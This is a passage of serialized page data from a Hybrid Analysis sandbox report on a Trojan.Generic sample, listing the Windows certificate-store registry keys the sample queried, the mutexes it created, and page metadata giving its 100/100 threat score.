ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:7632:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:7308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"SM0:7308:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:7308:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7308:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7308:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8272:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:8272:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4092:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4092:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:4092:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"SM0:4092:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:4092:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4092:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5928:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5928:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5928:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:5928:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"SM0:5928:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:5928:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8248:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8248:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"SM0:8248:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:8248:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"Local\\SM0:8248:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2716:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2716:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2716:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:2716:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:2716:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:2716:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6588:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6588:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:6588:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:6588:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3064:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3064:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:3064:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:3064:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:3064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:3064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:7872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:7872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7872:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2936:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:2936:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"SM0:2936:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"Local\\SM0:2936:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2936:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2936:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}]}},"report_ids":{"sandbox_job_ids":["695aa80e8b1ab8eaf00cbba9","695680317ceffb48710a980e"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 6c2446f06869… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 6c2446f06869…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 8 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 6c2446f06869… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 6c2446f06869…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 8 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 6c2446f06869… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 6c2446f06869…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 8 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L66","11",{}]]